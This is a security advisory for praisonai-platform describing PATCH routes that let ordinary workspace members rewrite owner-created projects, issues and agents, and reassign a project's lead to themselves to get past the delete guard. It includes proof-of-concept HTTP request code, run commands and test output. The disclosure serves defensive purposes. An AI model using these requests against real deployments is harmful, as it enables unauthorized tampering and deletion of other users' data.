Summary
PraisonAI: Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass
Advisory details
Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass
Summary
praisonai-platform lets an ordinary workspace member patch owner-created project, issue, and agent records even though the paired delete routes enforce owner/admin authorization. For projects, the member can first patch lead_id to their own user id and then delete the owner-created project, bypassing a delete guard that correctly returned 403 before the reassignment.
Technical Details
The affected boundary is the difference between "is a workspace member" and "owns or administers this resource". src/praisonai-platform/praisonai_platform/api/deps.py defines require_workspace_member, require_workspace_admin, require_workspace_owner, and require_delete_permission. require_workspace_member only checks that the caller has at least the member role in the workspace, while require_delete_permission allows delete only for workspace admins/owners or the resource owner.
The project update route in src/praisonai-platform/praisonai_platform/api/routes/projects.py defines PATCH /workspaces/{workspace_id}/projects/{project_id} with user: AuthIdentity = Depends(require_workspace_member). It passes title, description, status, lead_type, and lead_id into ProjectService.update. src/praisonai-platform/praisonai_platform/services/project_service.py then writes project.lead_id = lead_id when supplied. The paired project delete route first loads the project and calls require_delete_permission(workspace_id, user, session, resource_owner_id=project.lead_id). This means an ordinary member can mutate the ownership field that the delete route later trusts.
The same update/delete asymmetry exists for issues and agents. src/praisonai-platform/praisonai_platform/api/routes/issues.py defines PATCH /workspaces/{workspace_id}/issues/{issue_id} with only require_workspace_member, validates referenced ids are in the workspace, then calls IssueService.update to write fields including title, description, status, priority, assignee_id, and project_id. The paired delete route checks resource_owner_id=issue.creator_id. src/praisonai-platform/praisonai_platform/api/routes/agents.py defines PATCH /workspaces/{workspace_id}/agents/{agent_id} with only require_workspace_member and calls AgentService.update to write fields including instructions, runtime_mode, and runtime_config; the paired delete route checks resource_owner_id=agent.owner_id.
The intended owner/admin boundary is visible from the delete routes and from the local negative controls: a workspace member cannot directly delete an owner-created project, issue, or agent, and a non-member cannot patch an issue. The vulnerability is that the PATCH routes do not apply an equivalent owner/admin or resource-specific update guard.
PoV
the PoV starts an in-memory FastAPI app backed by SQLite, creates an owner, a member, and an outsider, adds the member to the owner's workspace, then exercises the project, issue, and agent routes without touching any live service.
Essential excerpt:
direct_delete_project = await client.delete(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
headers=member_headers,
)
patch_project = await client.patch(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
json={
"title": "Member-controlled project",
"status": "active",
"lead_type": "member",
"lead_id": member_id,
},
headers=member_headers,
)
delete_project_after_takeover = await client.delete(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
headers=member_headers,
)
patch_issue = await client.patch(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
json={"title": "Member rewrote owner issue", "status": "done"},
headers=member_headers,
)
patch_agent = await client.patch(
f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
json={"instructions": "member-controlled instructions", "status": "idle"},
headers=member_headers,
)
outsider_patch_issue = await client.patch(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
json={"title": "outsider attempt"},
headers=outsider_headers,
)
The full PoV script is included in the appendix below as pov_platform_member_update_bypass.py.
PoC
Current head tested:
846568c7a5d8ce9e71e56e4c213f027c04909753
2026-06-17T20:13:04+01:00
chore: clean up redundant 'persist-credentials' entries in GitHub workflows
Run against a local checkout of current head:
uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --repo /path/to/PraisonAI --json
Decisive current-head output:
{
"source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753",
"workspace_role": "member",
"checks": {
"member_direct_project_delete_before_patch": 403,
"member_project_patch_lead_to_self": 200,
"member_project_delete_after_lead_takeover": 204,
"owner_get_project_after_member_delete": 404,
"member_issue_patch": 200,
"owner_observes_member_issue_title": "Member rewrote owner issue",
"member_issue_delete_after_patch": 403,
"member_agent_patch": 200,
"owner_observes_member_agent_instructions": "member-controlled instructions",
"member_agent_delete_after_patch": 403,
"non_member_issue_patch": 403
},
"vulnerable": true
}
Run against the latest PyPI package observed during testing:
uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --json
Decisive latest-PyPI output:
{
"source": "pypi:praisonai-platform==0.1.8",
"workspace_role": "member",
"checks": {
"member_direct_project_delete_before_patch": 403,
"member_project_patch_lead_to_self": 200,
"member_project_delete_after_lead_takeover": 204,
"owner_get_project_after_member_delete": 404,
"member_issue_patch": 200,
"owner_observes_member_issue_title": "Member rewrote owner issue",
"member_issue_delete_after_patch": 403,
"member_agent_patch": 200,
"owner_observes_member_agent_instructions": "member-controlled instructions",
"member_agent_delete_after_patch": 403,
"non_member_issue_patch": 403
},
"vulnerable": true
}
Version sweep excerpt:
praisonai-platform 0.1.4: member PATCH project/issue/agent returned 200, but direct member DELETE also returned 204, so the current delete-guard bypass is masked by broader older delete authorization behavior.
praisonai-platform 0.1.6: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.
praisonai-platform 0.1.8: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.
Impact
An ordinary workspace member can modify owner-created Platform records that should remain owner/admin controlled. For projects, the member can turn a denied direct delete into an allowed delete by reassigning lead_id through PATCH, causing owner project data loss. For issues, the member can rewrite owner-created titles/statuses while delete remains blocked. For agents, the member can replace owner-created instructions and runtime-related configuration fields while delete remains blocked. In a shared workspace, this is a concrete integrity violation and can disrupt work tracking or agent behavior.
S
References
- https://github.com/advisories/GHSA-c78w-2q4r-68r7
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-c78w-2q4r-68r7
- https://nvd.nist.gov/vuln/detail/CVE-2026-61442
- https://github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753
- https://www.vulncheck.com/advisories/praisonai-platform-before-authorization-bypass-via-patch
Related vulnerabilities
All Supply chain →- MEDIUMCVE-2026-61440
PraisonAI: Platform members can rewrite shared labels and owner issue labels without owner/admin authorization
- MEDIUMCVE-2026-62179
PraisonAI: Platform members can delete owner issue dependencies through member-owned related issues
- MEDIUMGHSA-g7fw-3gjp-g5hf#@openclaw/googlechat
OpenClaw: Channel read actions could skip target allowlists
- MEDIUMGHSA-g7fw-3gjp-g5hf#@openclaw/matrix
OpenClaw: Channel read actions could skip target allowlists
- MEDIUMGHSA-g7fw-3gjp-g5hf#@openclaw/feishu
OpenClaw: Channel read actions could skip target allowlists
- MEDIUMGHSA-g7fw-3gjp-g5hf#@openclaw/msteams
OpenClaw: Channel read actions could skip target allowlists